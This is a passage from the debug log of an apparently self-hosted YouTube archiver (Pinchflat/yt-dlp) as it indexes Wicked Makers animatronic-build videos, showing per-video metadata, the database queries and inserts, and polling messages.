%(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/30/f9/30f994ec4d6ddedb34b6c9854a437b1808454df1689225d0e7640d1bd019fce6.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/95/92/9592df1798bbed7d1ab99cf5901362d8d1bd668a2271c94834ddac29681909f1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:42:13.387 [debug] Current batch of media processed. Will check again in 1000ms 13:42:14.388 [debug] Current batch of media processed. Will check again in 1000ms 13:42:15.389 [debug] Current batch of media processed. Will check again in 1000ms 13:42:16.390 [debug] Current batch of media processed. Will check again in 1000ms 13:42:17.391 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay remake their very first animatronic - HUGGY WUGGY!\n\nTurn your curiosity into creativity and try KiwiCo today! Go to https://www.kiwico.com/wickedmakers and use the code WICKEDMAKERS to get 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nPoppy Playtime’s Huggy Wuggy was our very first DIY animatronic. He was built completely from scratch with PVC pipes, a wiper motor, and LOTS of blue fur. We love our Huggy Wuggy, but since he was our very first custom animatronic we made a lot of mistakes. He was off balance, his head had a habit of falling off, and he was pretty fragile.\n\nSince then, we’ve built a ton of other poppy playtime animatronics like DogDay, CatNap, Mommy Long Legs, The Doctor, The Prototype, and even a Yarnaby that can eat people! We’ve learned a lot about making animatronics these last 3 years, and Huggy’s look has changed too, so we decided it was finally time to give him a makeover!\n\nWe hope you enjoy the video! Let us know who you want to see next and as always, Stay Wicked!\n\n#PoppyPlaytime\n#HuggyWuggy\n#Animatronic", "duration" => 1728, "filename" => "/downloads/shows/Wicked Makers/Season 2026/s2026e053000 - Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later).mkv", "id" => "j8-i3CGf5z0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=j8-i3CGf5z0", "playlist_index" => 1, "timestamp" => 1780143239, "title" => "Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later)", "upload_date" => "20260530"} 13:42:17.392 [debug] QUERY OK source="sources" db=0.2ms idle=1696.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:17.392 [debug] QUERY OK source="sources" db=0.1ms idle=1696.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:17.393 [debug] QUERY OK source="media_items" db=0.4ms idle=1697.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-30 12:13:59Z], 35] 13:42:17.394 [debug] QUERY OK source="media_items" db=1.2ms idle=1017.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay remake their very first animatronic - HUGGY WUGGY!\n\nTurn your curiosity into creativity and try KiwiCo today! Go to https://www.kiwico.com/wickedmakers and use the code WICKEDMAKERS to get 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nPoppy Playtime’s Huggy Wuggy was our very first DIY animatronic. He was built completely from scratch with PVC pipes, a wiper motor, and LOTS of blue fur. We love our Huggy Wuggy, but since he was our very first custom animatronic we made a lot of mistakes. He was off balance, his head had a habit of falling off, and he was pretty fragile.\n\nSince then, we’ve built a ton of other poppy playtime animatronics like DogDay, CatNap, Mommy Long Legs, The Doctor, The Prototype, and even a Yarnaby that can eat people! We’ve learned a lot about making animatronics these last 3 years, and Huggy’s look has changed too, so we decided it was finally time to give him a makeover!\n\nWe hope you enjoy the video! Let us know who you want to see next and as always, Stay Wicked!\n\n#PoppyPlaytime\n#HuggyWuggy\n#Animatronic", "Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later)", "f935da5b-8a95-46a0-b2f7-f75d72bc4166", "j8-i3CGf5z0", false, "https://www.youtube.com/watch?v=j8-i3CGf5z0", 35, [], 1728, false, 1, "/downloads/shows/Wicked Makers/Season 2026/s2026e053000 - Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later).mkv", false, false, 98, ~U[2026-05-30 12:13:59Z], ~U[2026-06-03 17:42:17Z], ~U[2026-06-03 17:42:17Z], "Jaimie and Jay remake their very first animatronic - HUGGY WUGGY!\n\nTurn your curiosity into creativity and try KiwiCo today! Go to https://www.kiwico.com/wickedmakers and use the code WICKEDMAKERS to get 50% off your first monthly crate.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nPoppy Playtime’s Huggy Wuggy was our very first DIY animatronic. He was built completely from scratch with PVC pipes, a wiper motor, and LOTS of blue fur. We love our Huggy Wuggy, but since he was our very first custom animatronic we made a lot of mistakes. He was off balance, his head had a habit of falling off, and he was pretty fragile.\n\nSince then, we’ve built a ton of other poppy playtime animatronics like DogDay, CatNap, Mommy Long Legs, The Doctor, The Prototype, and even a Yarnaby that can eat people! We’ve learned a lot about making animatronics these last 3 years, and Huggy’s look has changed too, so we decided it was finally time to give him a makeover!\n\nWe hope you enjoy the video! Let us know who you want to see next and as always, Stay Wicked!\n\n#PoppyPlaytime\n#HuggyWuggy\n#Animatronic", "Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later)", "j8-i3CGf5z0", "https://www.youtube.com/watch?v=j8-i3CGf5z0", 35, 1728, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e053000 - Rebuilding Our HUGGY WUGGY Animatronic (3 Years Later).mkv", false, ~U[2026-05-30 12:13:59Z]] 13:42:17.395 [debug] QUERY OK source="sources" db=0.2ms idle=18.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:17.395 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:17.396 [debug] QUERY OK source="media_items" db=0.3ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [140322] 13:42:17.396 [debug] Current batch of media processed. Will check again in 1000ms 13:42:18.396 [debug] Current batch of media processed. Will check again in 1000ms 13:42:19.397 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make a real PROTOTYPE animatronic! 😱 Thanks to Monarch for partnering with us! Start your free trial and get 50% off your first year of total money clarity using our link: https://monarchmoney.yt.link/6oTRFMj or code: WICKED50.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\n\nSpecial Thanks to:\nFormlabs ►https://formlabs.com/3d-printers/form-4l/?utm_source=youtube&utm_medium=referral&utm_campaign=wickedmakers-f4l-2025-08-11-global\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\nReaper Minis ► https://www.reapermini.com/\nEve Cabanie ► https://www.artstation.com/itsonlyevee\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWho is The Prototype?\nAlso known as Experiment 1006, The Prototype is the main antagonist of Poppy Playtime. He’s been hinted at and teased in past chapters, and in Poppy Playtime Chapter 5, we finally get to see him. We love his design and are so excited to bring him to life as an animatronic.\n\nOur DIY Prototype animatronic will have a strong steel welded frame, a hand tailored outfit, and a super detailed 3d printed resin face printed on our new Formlabs Form4L printer. His head and face will both be able to rotate and can be animated with Purgatory Prop’s Aamon Motor controller. And the best part? His hand will have actual crushing power!\n\nTo test the pneumatic hand of doom, we’ll of course need to make a life-sized Poppy doll. Poor Poppy.\n\nWe hope you enjoyed watching our new Poppy Playtime animatronic build! Let us know who you want us to build next and Stay Wicked!\n\n#ThePrototype\n#PoppyPlaytime\n#Animatronic", "duration" => 2462, "filename" => "/downloads/shows/Wicked Makers/Season 2026/s2026e041700 - We made a real PROTOTYPE (that can CRUSH Poppy!).mp4", "id" => "1pBWywI-Ilc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1pBWywI-Ilc", "playlist_index" => 2, "timestamp" => 1776455956, "title" => "We made a real PROTOTYPE (that can CRUSH Poppy!)", "upload_date" => "20260417"} 13:42:19.398 [debug] QUERY OK source="sources" db=0.2ms idle=702.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:19.398 [debug] QUERY OK source="sources" db=0.2ms idle=702.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:19.399 [debug] QUERY OK source="media_items" db=0.3ms idle=703.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-17 19:59:16Z], 35] 13:42:19.412 [debug] QUERY OK source="media_items" db=12.8ms idle=703.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real PROTOTYPE animatronic! 😱 Thanks to Monarch for partnering with us! Start your free trial and get 50% off your first year of total money clarity using our link: https://monarchmoney.yt.link/6oTRFMj or code: WICKED50.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\n\nSpecial Thanks to:\nFormlabs ►https://formlabs.com/3d-printers/form-4l/?utm_source=youtube&utm_medium=referral&utm_campaign=wickedmakers-f4l-2025-08-11-global\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\nReaper Minis ► https://www.reapermini.com/\nEve Cabanie ► https://www.artstation.com/itsonlyevee\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWho is The Prototype?\nAlso known as Experiment 1006, The Prototype is the main antagonist of Poppy Playtime. He’s been hinted at and teased in past chapters, and in Poppy Playtime Chapter 5, we finally get to see him. We love his design and are so excited to bring him to life as an animatronic.\n\nOur DIY Prototype animatronic will have a strong steel welded frame, a hand tailored outfit, and a super detailed 3d printed resin face printed on our new Formlabs Form4L printer. His head and face will both be able to rotate and can be animated with Purgatory Prop’s Aamon Motor controller. And the best part? His hand will have actual crushing power!\n\nTo test the pneumatic hand of doom, we’ll of course need to make a life-sized Poppy doll. Poor Poppy.\n\nWe hope you enjoyed watching our new Poppy Playtime animatronic build! Let us know who you want us to build next and Stay Wicked!\n\n#ThePrototype\n#PoppyPlaytime\n#Animatronic", "We made a real PROTOTYPE (that can CRUSH Poppy!)", "571a5cbb-2086-411e-9dd2-ec4de797cef5", "1pBWywI-Ilc", false, "https://www.youtube.com/watch?v=1pBWywI-Ilc", 35, [], 2462, false, 2, "/downloads/shows/Wicked Makers/Season 2026/s2026e041700 - We made a real PROTOTYPE (that can CRUSH Poppy!).mp4", false, false, 98, ~U[2026-04-17 19:59:16Z], ~U[2026-06-03 17:42:19Z], ~U[2026-06-03 17:42:19Z], "Jaimie and Jay make a real PROTOTYPE animatronic! 😱 Thanks to Monarch for partnering with us! Start your free trial and get 50% off your first year of total money clarity using our link: https://monarchmoney.yt.link/6oTRFMj or code: WICKED50.\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nWicked Merch ► https://shopwickedmakers.com\nSupport our Videos ► https://patreon.com/wickedmakers\n\nSpecial Thanks to:\nFormlabs ►https://formlabs.com/3d-printers/form-4l/?utm_source=youtube&utm_medium=referral&utm_campaign=wickedmakers-f4l-2025-08-11-global\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\nReaper Minis ► https://www.reapermini.com/\nEve Cabanie ► https://www.artstation.com/itsonlyevee\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWho is The Prototype?\nAlso known as Experiment 1006, The Prototype is the main antagonist of Poppy Playtime. He’s been hinted at and teased in past chapters, and in Poppy Playtime Chapter 5, we finally get to see him. We love his design and are so excited to bring him to life as an animatronic.\n\nOur DIY Prototype animatronic will have a strong steel welded frame, a hand tailored outfit, and a super detailed 3d printed resin face printed on our new Formlabs Form4L printer. His head and face will both be able to rotate and can be animated with Purgatory Prop’s Aamon Motor controller. And the best part? His hand will have actual crushing power!\n\nTo test the pneumatic hand of doom, we’ll of course need to make a life-sized Poppy doll. Poor Poppy.\n\nWe hope you enjoyed watching our new Poppy Playtime animatronic build! Let us know who you want us to build next and Stay Wicked!\n\n#ThePrototype\n#PoppyPlaytime\n#Animatronic", "We made a real PROTOTYPE (that can CRUSH Poppy!)", "1pBWywI-Ilc", "https://www.youtube.com/watch?v=1pBWywI-Ilc", 35, 2462, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e041700 - We made a real PROTOTYPE (that can CRUSH Poppy!).mp4", false, ~U[2026-04-17 19:59:16Z]] 13:42:19.412 [debug] QUERY OK source="sources" db=0.2ms idle=34.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:19.413 [debug] QUERY OK source="media_profiles" db=0.2ms idle=14.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:19.413 [debug] QUERY OK source="media_items" db=0.2ms idle=14.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [129792] 13:42:19.413 [debug] Current batch of media processed. Will check again in 1000ms 13:42:20.414 [debug] Current batch of media processed. Will check again in 1000ms 13:42:21.415 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay test the cheapest, weirdest, and most dangerous one star animatronics! Let your fandom shine with Displate metal posters! Use code WICKED for 27% off 1 Displate and 35% off 2+ Displates. https://displate.com/l/wicked\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nWe’re hard at work making the Prototype from Poppy Playtime, but in the meantime we’re trying something fun! We buy questionable animatronics all the time and give them makeovers to turn them into something awesome. In this video, we search for the craziest animatronics we can find, put them to the test, and tell you how we’d turn them into 5 star animatronics.\n\n#Animatronics", "duration" => 1212, "filename" => "/downloads/shows/Wicked Makers/Season 2026/s2026e022500 - We Tested ONE STAR Animatronics!.mp4", "id" => "1Sf-QXdYdBg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1Sf-QXdYdBg", "playlist_index" => 3, "timestamp" => 1772052316, "title" => "We Tested ONE STAR Animatronics!", "upload_date" => "20260225"} 13:42:21.416 [debug] QUERY OK source="sources" db=0.2ms idle=720.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:21.416 [debug] QUERY OK source="sources" db=0.2ms idle=720.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:21.417 [debug] QUERY OK source="media_items" db=0.4ms idle=721.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-25 20:45:16Z], 35] 13:42:21.420 [debug] QUERY OK source="media_items" db=2.3ms idle=722.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay test the cheapest, weirdest, and most dangerous one star animatronics! Let your fandom shine with Displate metal posters! Use code WICKED for 27% off 1 Displate and 35% off 2+ Displates. https://displate.com/l/wicked\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nWe’re hard at work making the Prototype from Poppy Playtime, but in the meantime we’re trying something fun! We buy questionable animatronics all the time and give them makeovers to turn them into something awesome. In this video, we search for the craziest animatronics we can find, put them to the test, and tell you how we’d turn them into 5 star animatronics.\n\n#Animatronics", "We Tested ONE STAR Animatronics!", "130f87b6-44ef-4a59-999a-9907375a6e16", "1Sf-QXdYdBg", false, "https://www.youtube.com/watch?v=1Sf-QXdYdBg", 35, [], 1212, false, 3, "/downloads/shows/Wicked Makers/Season 2026/s2026e022500 - We Tested ONE STAR Animatronics!.mp4", false, false, 98, ~U[2026-02-25 20:45:16Z], ~U[2026-06-03 17:42:21Z], ~U[2026-06-03 17:42:21Z], "Jaimie and Jay test the cheapest, weirdest, and most dangerous one star animatronics! Let your fandom shine with Displate metal posters! Use code WICKED for 27% off 1 Displate and 35% off 2+ Displates. https://displate.com/l/wicked\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport our Channel! ► https://patreon.com/wickedmakers\nJoin our Community on Discord! ► https://discord.gg/wickedmakers\n\nWe’re hard at work making the Prototype from Poppy Playtime, but in the meantime we’re trying something fun! We buy questionable animatronics all the time and give them makeovers to turn them into something awesome. In this video, we search for the craziest animatronics we can find, put them to the test, and tell you how we’d turn them into 5 star animatronics.\n\n#Animatronics", "We Tested ONE STAR Animatronics!", "1Sf-QXdYdBg", "https://www.youtube.com/watch?v=1Sf-QXdYdBg", 35, 1212, false, "/downloads/shows/Wicked Makers/Season 2026/s2026e022500 - We Tested ONE STAR Animatronics!.mp4", false, ~U[2026-02-25 20:45:16Z]] 13:42:21.420 [debug] QUERY OK source="sources" db=0.3ms idle=39.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:21.421 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:21.421 [debug] QUERY OK source="media_items" db=0.2ms idle=4.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122437] 13:42:21.421 [debug] Current batch of media processed. Will check again in 1000ms 13:42:22.422 [debug] Current batch of media processed. Will check again in 1000ms 13:42:23.424 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jay and Jaimie make a real life Withered Bonnie animatronic from FNAF 